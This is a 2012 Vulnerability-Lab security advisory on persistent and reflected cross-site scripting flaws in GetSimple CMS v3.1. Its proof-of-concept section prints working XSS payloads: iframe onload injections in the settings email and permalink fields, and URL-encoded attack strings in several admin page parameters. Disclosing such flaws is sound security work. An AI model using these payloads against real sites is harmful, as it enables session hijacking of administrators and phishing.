Title:
======
GetSimple CMS v3.1 - Multiple Web Vulnerabilities


Date:
=====
2012-05-04


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=521


VL-ID:
=====
521


Common Vulnerability Scoring System:
====================================
5


Introduction:
=============
GetSimple is an XML based lite Content Management System. To go along with it s best-in-class user 
interface, we have loaded it with features that every website needs, but with nothing it doesn t. 
GetSimple has the ability to perform a simple Undo on just about every action. Combined with our 
intuitive UI makes for a great web editing user experience.

- XML based data storage (no MySQL needed)
- Best-in-Class User Interface
- Protection from yourself (undo most actions)
- Extremely easy to theme
- Great support forum & wiki
- Fully Internationalized core code & plugins
- Entire code base is documented with PHPDoc standards
- Integrated WYSIWYG editor with file-browser & internal linker
- HTML5/CSS3 default theme
- Built in sitemap.xml generator
- Long list of available plugins by great developers
- Fully internationalized control panel

(Copy of the Vendor Homepage: https://get-simple.info )


Abstract:
=========
The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in GetSimple CMS v3.1.


Report-Timeline:
================
2012-04-16:  Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in GetSimple v3.1 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action. The bug is located on the email & permalink 
input fields of the application websettings.


Vulnerable Module(s):
        [+] Website Settings - Email
        [+] Website Settings - Custom Permalink Structure


Picture(s):
        ../1.png
        ../2.png


1.2
Multiple non persistent cross site scripting vulnerabilities are detected in GetSimple v3.1 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required 
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing 
& client-side content request manipulation.


Vulnerable Module(s):
        [+] Err
        [+] Error
        [+] Success
        [+] Path


Picture(s):
        ../3.png
        ../4.png


Proof of Concept:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
user inter action. For demonstration or reproduce ...

Review:  Website Settings - Email

<div class="rightsec">
<p>
<label for="email">Email Address:</label>​​​​​<input class="text" id="email" name="email" value="" type="text">
<iframe src="a" onload='alert("VulnerabilityLab")' <@home.com"=""></p>

<p style="margin:-15px 0 20px 0;color:#D94136;font-size:11px;"
>WARNING: This email address does not look valid!</p>
</div>
<div class="clear"></div> 

URL: https://127.0.0.1:80/getsimple/admin/settings.php


Review:  Website Settings - Custom Permalink Structure

<div class="leftsec">
<p><label for="permalink" >Custom Permalink Structure:</label>
<input class="text" name="permalink" id="permalink" type="text" value="">
<iframe src=a onload=alert("VL") <" /><br /><a href="https://get-simple.info/wiki/pretty_urls" 
style="font-size:11px;" target="_blank" >Learn More...</a></p>
</div>


1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high 
required user inter action. For demonstration or reproduce ...
 
Upload Function - Path
https://127.0.0.1:80/getsimple/admin/upload.php?path=%3E%22%3Ciframe%20src=https://www.vulnerability-lab.com%20width=800%20height=800%3E&newfolder=rem0ve

Exception Handling - Error & Err
https://127.0.0.1:80/getsimple/admin/theme.php?err=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
https://127.0.0.1:80/getsimple/admin/pages.php?error=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C

Logout  - Success
https://127.0.0.1:80/getsimple/admin/index.php?success=%3E%22%3Ciframe%20src=https://www.vulnerability-lab.com%20width=800%20height=800%3E

Login - Err
https://127.0.0.1:80/getsimple/admin/index.php?err=%3E%22%3Ciframe%20src=https://www.vulnerability-lab.com%20width=800%20height=800%3E


Risk:
=====
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium.

1.2
The security risk of the client site cross site scripting vulnerabilities are estimated as medium(-).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Chokri  B.A.  (meister@vulnerability-lab.com)


Disclaimer:
===========
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                Copyright © 2012 Vulnerability-Lab




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